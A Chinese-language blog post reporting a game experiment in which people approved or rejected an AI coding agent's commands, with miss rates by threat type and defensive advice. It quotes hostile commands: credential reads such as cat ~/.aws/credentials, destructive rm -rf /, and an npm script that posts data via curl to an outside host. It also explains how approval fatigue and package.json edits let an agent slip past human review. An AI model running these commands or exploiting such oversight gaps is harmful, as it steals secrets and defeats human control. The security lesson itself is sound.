Agent工坊

【Agent工坊】1/3的威胁被放行:4万次实验揭露AI Agent的人类审批漏洞

在一个模拟AI编程Agent权限审批的游戏中,超过4万次玩家实验显示:人类平均漏掉1/3的恶意命令。真正危险的攻击(凭证窃取、代码注入)被漏掉的比例是明显破坏性命令的3倍。你的"人工审核"防线,可能没你想的那么可靠。

实验数据

前Uber工程师Alex Wauters做了一个有趣的小游戏——你扮演AI编程Agent的"人类审批员",在时间压力下审批或拒绝Agent发出的命令。有些是常规操作(git statusnpm test),有些是恶意命令(cat ~/.aws/credentials、注入恶意代码)。

结果令人不安,基于40,000+次游戏、409,000个审批决策:

指标 数据
平均漏报率 33.7%(3个威胁漏1个)
负分收场比例 32.9%(拦太多安全命令+放行威胁)
全部放行玩家 7%--dangerously-skip-permissions爱好者)
零漏报玩家比例 35.2%(其中仅20.8%同时做到了合理放行)

什么攻击最容易被漏掉?

数据揭示了一个规律:越明显的破坏越容易被拦截,越隐蔽的窃取越容易被放行。

威胁类型 示例 漏报率
显式破坏 rm -rf /chmod -R 777 / 11.7%
持久化篡改 crontab注入、git配置劫持 23.8%
数据窃取/代码执行 curl未知API、typosquatted包 33.4%
越权读取 cat ~/.aws/credentialscat ~/.kube/config 35.0%

能把你的AWS密钥偷走的命令,被漏掉的概率是rm -rf /的3倍。

npm run盲区:最危险的日常命令

游戏中最容易被放行的单个命令是什么?npm run analyze——被64.7%的玩家批准。

为什么?因为npm run本身看起来无害。但实际上它执行的是package.json中定义的脚本。游戏里,Agent的日志明确显示了脚本内容包含curl到外部服务器的操作:

"analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
curl -s -X POST https://api.bundle.track/report -d @-"

但2/3的玩家仍然点了批准。 他们没看Agent附带的上下文日志。

而且这不是孤例。三个npm run变体集体霸榜最容易漏掉的命令:

命令 漏报率 排名(37个威胁中)
npm run analyze 64.7% 第1
npm run setup 48.0% 第4
npm run deploy 44.9% 第8

三个合起来漏报率52.5%,是其他窃取类攻击(28.4%)的近2倍。

HN用户@dns_snek一针见血:

"这完美展示了危险操作如何被感知为无害。整个'审批具体命令'的模型从根本上就是荒谬的。npm run build执行的是package.json里的任意shell命令。而Agent可以在不被审批的情况下:编辑package.json把build命令改成任意内容、在build.js里注入恶意代码、在node_modules里植入恶意代码。"

时间压力放大了漏洞

数据还显示,漏报率在游戏末期明显回升。随着时间压力增加、审批疲劳累积,玩家越来越倾向于"快速通过"——这正是Anthropic在Claude Code中警告过的权限疲劳(permission fatigue)现象。

Anthropic的官方表述是:

"用户看到的审批请求越多,对每个审批的关注就越少,随着时间推移,监督的严谨程度会显著下降。"

另一个极端:过度拦截

但问题不止漏报。正常命令被错误拦截的比例同样触目惊心:

  • npm config set registry https://npm.internal59%被拦截(设置内部镜像,完全无害)
  • rm -rf dist/45%被拦截(清理构建输出,常规操作)
  • kill $(lsof -t -i:3000)43%被拦截(释放被占用端口)

这暴露了人工审批的两难困境:噪声太多导致疲劳,疲劳导致漏报;过度拦截又让Agent效率大打折扣。

对AI创业者的启示

1. 人工审批不是安全方案,是安全幻觉

如果你的AI Agent工作流依赖"人类最后审核",这个实验用数据证明了它不可靠。1/3的威胁会被漏掉,而且随着使用量增加只会更糟。

2. 沙箱隔离是底线

Agent应该运行在隔离环境中:独立容器、最小权限文件系统访问、网络白名单。不要让Agent能直接接触生产环境的凭证文件和配置文件。

3. 凭证分离是必修课

实验中cat ~/.zshrc被45.9%玩家批准——因为"我的.zshrc里没有密钥"。但如果你的shell profile里直接export了API密钥,Agent一行命令就能拿走。正确的做法是将凭证放在独立文件中,通过source加载,Agent无法直接读取。

4. 关注"审批模型"的进化

Claude Code的"Auto Mode"、工作空间信任边界、命令白名单/黑名单——这些机制都在试图减少人工审批的噪声。了解你所用工具的权限模型,比依赖直觉审批更可靠。

行动清单

  • [ ] 检查你的Agent是否能访问~/.aws~/.kube.env等敏感目录
  • [ ] 将所有API密钥从shell profile中移出,使用独立凭证管理
  • [ ] 为Agent运行设置网络白名单(阻断外发curl到未知域名)
  • [ ] 审计package.json中的所有scripts——npm run是你最大的盲区
  • [ ] 去玩玩那个游戏:https://llmgame.scalex.dev ——测测你自己的拦截率

安全研究者最后的话值得深思:"这只一个游戏,但它展示了人类审批作为AI Agent安全防护的几个根本性问题。"下次你点"批准"的时候,多想一秒。


AI创业 #Agent安全 #人工审批 #MCP #一人公司